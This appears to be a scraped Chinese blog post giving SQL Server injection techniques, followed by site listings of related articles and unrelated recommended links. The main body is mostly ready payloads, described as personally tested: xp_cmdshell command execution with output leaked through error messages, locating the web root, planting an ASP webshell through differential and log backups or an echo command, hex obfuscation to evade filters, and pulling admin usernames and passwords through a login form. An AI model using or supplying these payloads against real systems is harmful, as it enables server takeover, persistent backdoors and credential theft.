SqlServer 注入技巧
一、SA权限执行命令,如何更快捷的获取结果? 有显示位 显示位 其实这里的关键并不是有无显示位。exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会产生很多行。而我们要做的就是如何很多行通过显示位、或者报错语句一次性爆出来,这里的关键就是多行合一。 方法① 01 02 BEGIN 03 IF EXISTS(select table_name from information_schema.tables where table_name='test_1')drop table test_1; 04 IF EXISTS(select table_name from information_schema.tables where table_name='test_2')drop table test_2; 05 create TABLE test_1([output][varchar](1000)); 06 insert test_1 exec master.dbo.xp_cmdshell 'ipconfig /all'; 07 DECLARE @result varchar(8000) 08 SET @result='~' 09 SELECT @result=@result+' '+output from test_1 where output>' ' 10 SELECT @result AS result INTO test_2; 11 SELECT convert(int,(select result from test_2)); 12 END; 解析: 这里6-9句的意思是申明一个@result的临时变量; 设置初始值为’~’;将test_1中的数据数据依次取出来,迭代条件是output>’ ‘,并组合成新的字符串,字符串之间用空格隔开最后复制给@result; 然后将@result设置一个别名,然后插入test_2中。 最后报错回显 PS: mssql英文字母比较大小不区分大小写 mssql字符串比较大小和C语言中的str_cmp()一样的道理 方法②(注入点测试成功、测试平台SQL Server2008- 10.0.1600.22 (X64) 1 报错:AND (SELECT * FROM test_1 FOR XML PATH(''))=1-- 2 显示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(''))-- 二、如何快速寻找网站目录(SA用户) SA用户被降权 SA用户未被降权 这里区分降权与非降权是有道理的,如果没有被降权。那么权限很高就可以读取某些保存在本机的配置了,如果权限低一点的话,可以使用dir命令查找。 方法①(被降权:–亲测成功): 1 CREATE TABLE test_1([output][varchar](1000)); 2 INSERT test_1 EXEC master.dbo.xp_cmdshell 'dir /s d:\web.config '; 3 AND (SELECT * FROM test_1 FOR XML PATH(''))=1; 方法②(未被降权–system–亲测成功): 1 CREATE TABLE test_1([output][varchar](1000)); 2 INSERT test_1 EXEC master.dbo.xp_cmdshell 'cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root '; 3 AND (SELECT * FROM test_1 FOR XML PATH(''))=1; 方法③(sa+system权限+IIS7.0+IIS7.5): %systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表 %systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出网站物理路径 PS: %systemroot%代表c:\windows\ 三、如何利用注入点getshell 方法①(差异备份)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试 1 IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp; 2 backup database XFData to disk = 'D:\WebRoot\asp.bak'; 3 create table [dbo].[test_tmp] ([cmd] [image]); 4 insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E); 5 backup database XFData to disk='D:\WebRoot\asp.asp' WITH DIFFERENTIAL,FORMAT; 方法②(减小体积)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试 1 IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp; 2 alter database XFData set RECOVERY FULL; 3 create table test_tmp (a image); 4 backup log XFData to disk = 'D:\WebRoot\asp.bak' with init; 5 insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA); 6 backup log XFData to disk = 'D:\webroot\123.asp' PS: 如果不能备份,很有可能是访问权限的问题。可以切换目录尝试 如果表存在,也不能成功;所以先判断表是否存在,如果存在就删除。 方法③(echo 输出一句话木马)–sa权限+当前用户写权限–亲测成功 1 echo ^<%eval request("pass")%^> >D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp PS:这里由于是注入点,因此需要注意编码的问题。一般来说,网页的编码和数据库的编码是一致的(如果不一致~~~算我输)。这里我用了一个中文路径做说明。 四、如何避免使用select之类的关键字 方法①:十六进制混淆 1 ;DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);-- 五、登录点的注入如何最快获取后台密码 01 1' HAVING 1=1-- #爆出表名 02 03 1' GROUP BY username HAVING 1=1-- # 爆出字段名 04 05 # User_Mess.Account 06 07 # User_Mess.PWD 08 09 1';select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))-- 10 1';select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account='admin'))--
SqlServer 注入技巧的更多相关文章
- SQLServer注入技巧
一.对于SA权限的用户执行命令,如何获取更快捷的获取结果? 有显示位 无显示位 其实这里的关键并不是有无显示位.exec master..xp_cmdshell 'systeminfo'生成的数据写进 ...
- Update、Insert注入技巧
title: Update.Insert注入技巧 date: 2017-10-23 18:07:57 tags: ["注入"] 审计了不少代码,再看代码的时候最多出现的就是注入,很 ...
- False注入,以及SQL注入技巧总结
title: False注入,以及SQL注入技巧总结 date: 2017-04-25 00:23:31 tags: ['SQL注入'] --- 利用False我们可以绕过一些特定的WAF以及一些未来 ...
- MYSQL_Join注入技巧
Join注入技巧 join无名列报错注入 约束条件 在知到表名的前提下才能操作 注入语句 and extractvalue(1,concat(0x7e,(select * from (select * ...
- sqlmap注入技巧收集
收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...
- Sqlmap注入技巧收集整理
TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script? ...
- 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)
原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...
- sqlmap注入技巧
收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...
- MYSQL注入技巧备忘录
MYSQL一些技巧 仅仅是作为自己备忘录,如果错误,敬请斧正. 0)基础饶过 1.大小写绕过 2.双写绕过 3.添加注释 /*!*/ or /*!小于mysql版本*/ 5.宽字节.Latin1默认编 ...
随机推荐
- 原生js验证简洁美观注册登录页面
序 一个以js验证表单的简洁的注册登录页面,不多说直接上图 效果 主要文件 完整代码 sign_up.html 注册表单 <!DOCTYPE html> <html lang=&qu ...
- javascript --- Ajax基础
神马是Ajax? Ajax即‘Asynchronous javascript and XML’(异步javascript和XML),也就是所谓的无刷新页面读取技术. http请求 首先要了解http请 ...
- CRM ribbon按钮上引用JS库
在CRM ribbion 按钮上引用 javascript库文件实验,怎么要引用javascript库文件.实验 加载完ribbbion 按钮后立即执行 引用的库文件 (function(){ ale ...
- 微信公众平台SDK Python
微信公众平台SDK 项目背景 从2014年开始玩微信公众平台,试用过其中大多数的功能,如:消息回复.自定义菜单.公众号中的支付,页面授权等.之前的程序中都是直接调用公众平台的接口,这样复用功能无法实现 ...
- OC中NSDictionary和NSSet简单操作
/** * 字典 存放键值对类型的数据 存放数据是无序的 */ // 字典在控制台输出是用{}包括起来的 // NSDictionary 不可变字典 // 1.创建对象 // 初始化方法 NSDic ...
- iOS 简单工厂模式
iOS 简单工厂模式 什么是简单工厂模式? 简单工厂模式中定义一个抽象类,抽象类中声明公共的特征及属性,抽象子类继承自抽象类,去实现具体的操作.工厂类根据外界需求,在工厂类中创建对应的抽象子类实例并传 ...
- iOS开发笔记1:ToDoList、相册、地图应用及新浪微博
前段时间做了一些小东西,一些关键点记录总结如下 1.ToDoList 主要是使用UITableView以及NSUserDefaults完成任务管理,可新建.编辑及删除任务. 因为是Demo性质,所以利 ...
- android network develop(3)----Xml Parser
Normally, there are three type parser in android. Xmlpullparser, DOM & SAX. Google recomand Xmlp ...
- 敏捷软件开发:原则、模式与实践——第12章 ISP:接口隔离原则
第12章 ISP:接口隔离原则 不应该强迫客户程序依赖并未使用的方法. 这个原则用来处理“胖”接口所存在的缺点.如果类的接口不是内敛的,就表示该类具有“胖”接口.换句话说,类的“胖”接口可以分解成多组 ...
- Openstack python api 学习文档 api创建虚拟机
Openstack python api 学习文档 转载请注明http://www.cnblogs.com/juandx/p/4953191.html 因为需要学习使用api接口调用openstack ...